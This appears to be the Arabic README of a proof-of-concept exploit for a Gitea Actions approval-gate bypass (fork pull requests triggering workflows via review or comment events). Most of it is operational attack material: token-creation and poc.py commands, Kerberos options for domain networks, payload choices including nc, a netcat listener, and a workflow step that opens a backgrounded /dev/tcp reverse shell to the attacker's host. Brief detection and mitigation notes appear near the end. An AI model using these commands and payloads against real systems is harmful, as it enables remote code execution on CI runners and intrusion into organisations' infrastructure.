
يوجد ثغرة في منطق بوابة الموافقة في Gitea، خادم Git مفتوح المصدر، تسمح لطلب سحب (Pull Request) ينشأ من fork دائم بالدمج دون استيفاء بوابات الموافقة المكوَّنة للمستودع.
الخطورة: عالية (CVSS 8.9) المتأثر: Gitea ≤ 1.26.2 تم الإصلاح في: Gitea 1.26.3 النشرة الأمنية: GHSA-777r-4v59-6486
تفرض Gitea Actions بوابة موافقة على عمليات تشغيل سير العمل الناتجة عن طلبات السحب من النسخ (fork pull requests). يتم تنفيذ البوابة في ifNeedApproval() وتهدف إلى منع المساهمين غير الموثوقين من تنفيذ تعليمات برمجية عشوائية عبر خطوط CI.
الخلل هو أن ifNeedApproval() لا يُطبَّق بشكل صحيح إلا على حدث pull_request. يُنتج كل نوع حدث مدرج في كتلة on: في سير العمل كائن ActionRun مستقلاً مع فحص موافقة خاص به. عندما يوسّع المهاجم كتلة on: لتشمل أحداثًا مثل pull_request_review أو issue_comment أو pull_request_review_comment، يتم إرسال عمليات التشغيل هذه دون المرور عبر بوابة الموافقة.
يؤدي تشغيل أي من هذه الأحداث غير المحمية - على سبيل المثال، نشر تعليق مراجعة على طلب السحب (PR) - إلى بدء تشغيل سير العمل فورًا بحساب خدمة المشغّل (runner)، دون الحاجة إلى موافقة المشرف (maintainer).
تتحقق الدالة ifNeedApproval() من الموافقة بناءً على (repo_id, trigger_user_id) لحدث pull_request، لكنها لا تطبق هذا الفحص بشكل متسق عبر جميع أنواع الأحداث القابلة للتشغيل.
المسار القابل للاستغلال:
POST /repos/{owner}/{repo}/pulls/{index}/reviews
-> Gitea creates ActionRun with event=pull_request_review
-> ifNeedApproval() not called for this event type
-> Job dispatched to runner immediately
| المتطلب | التفاصيل |
|---|---|
| حساب Gitea | أي مستخدم مصادق عليه مع صلاحية النسخ (fork) |
| المستودع المستهدف | يجب تفعيل Gitea Actions |
| المشغّل (Runner) | يجب أن يكون act_runner متصلاً ومسجلاً |
# Minimum
pip install requests
# For Kerberos/Negotiate auth
pip install requests requests-gssapi
عبر المتصفح: Settings -> Applications -> Generate Token
النطاقات المطلوبة: كتابة المستودع + كتابة القضايا (issues).
عبر API:
curl -s -X POST http://gitea.example.com:3000/api/v1/users/<username>/tokens \
-u "<username>:<password>" \
-H "Content-Type: application/json" \
-d '{"name":"pwn","scopes":["write:repository","write:issue"]}'
التشغيل:
python3 poc.py \
--url http://gitea.example.com:3000 \
--token <token> \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
لمثيلات Gitea التي تقبل مصادقة Kerberos/SPNEGO فقط (بيئات Active Directory مع فرض SSPI). يجب التشغيل من مضيف منضم إلى المجال مع وجود تذكرة TGT صالحة.
kinit [email protected]
klist
python3 poc.py \
--url http://gitea.corp.local:3000 \
--negotiate \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
إذا فشل تحليل أسماء DNS، قم بتهيئة /etc/krb5.conf:
[libdefaults]
default_realm = DOMAIN.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = true
rdns = false
[realms]
DOMAIN.LOCAL = {
kdc = <DC_IP>
admin_server = <DC_IP>
}
[domain_realm]
.domain.local = DOMAIN.LOCAL
domain.local = DOMAIN.LOCAL
--url Gitea base URL (required)
--token API token
--negotiate Kerberos/SPNEGO auth (kinit first)
--cookie Session cookie string
--target-owner Target repo owner (required)
--target-repo Target repo name (required)
--lhost Attacker IP for reverse shell (required)
--lport Attacker port (required)
--runner-label Runner label to target (default: tries common labels)
--detect-label Auto-enumerate runner labels before exploiting
--fork-name Custom fork name (default: <repo>-<random>)
--workflow-name Custom workflow filename (default: ci-<random>.yml)
--pr-title Custom PR title (default: random realistic string)
--review-body Custom review comment (default: random)
--payload-type bash / python3 / nc / custom (default: bash)
--custom-payload Shell command (use with --payload-type custom)
--no-cleanup Leave PR open after exploit
--cleanup-delay Seconds before cleanup (default: 30)
nc -lvnp 4444
1. Authenticate to Gitea API
2. Fork target repo into attacker namespace
3. Enable Actions on fork
4. Inject malicious workflow with bypass events in on: block
5. Remove inherited workflows from fork (prevents runner interference)
6. Open PR: attacker/fork:main -> target/repo:main
7. POST /repos/target/repo/pulls/1/reviews {"event":"COMMENT","body":"..."}
-> pull_request_review event fires
-> ifNeedApproval() NOT called
-> ActionRun dispatched immediately
8. Runner executes payload -> reverse shell as runner service account
بشكل افتراضي، يعمل act_runner بعامل واحد فقط (single-worker). إذا لم تنتهِ خطوة الصدفة العكسية (reverse shell) بشكل نظيف، يبقى المشغّل في حالة «قيد التشغيل» ويتجاهل المهام الجديدة.
لتجنب ذلك، قم بتشغيل الصدفة في الخلفية:
- name: run
run: |
setsid bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' &
sleep 1
exit 0
أو استخدم --custom-payload لتمرير أمر من سطر واحد يعمل كعملية خفية (daemon) مباشرةً.
ActionRun التي تحمل event=pull_request_review أو event=issue_comment والقادمة من طلبات سحب النسخ (fork PRs)pull_request_review مع خطوات تنفيذ أوامر الصدفة| الإجراء | التفاصيل |
|---|---|
| الترقية | الإصدار Gitea 1.26.3+ يعالج هذه المشكلة |
| حل بديل | تعطيل Gitea Actions على المستودعات التي تضم مساهمين غير موثوقين |
| التدقيق | مراجعة طلبات سحب النسخ وعمليات تشغيل سير العمل المرتبطة بها بحثًا عن عمليات تنفيذ غير متوقعة |
| التقييد | قصر صلاحيات النسخ (fork) على المستخدمين الموثوقين |
لأغراض الاختبار الأمني والبحث المصرح به فقط. لا تستخدمها ضد أنظمة دون الحصول على إذن كتابي صريح.
| الشبكة |
| يجب أن يكون مضيف المهاجم قابلاً للوصول من المشغّل (runner) |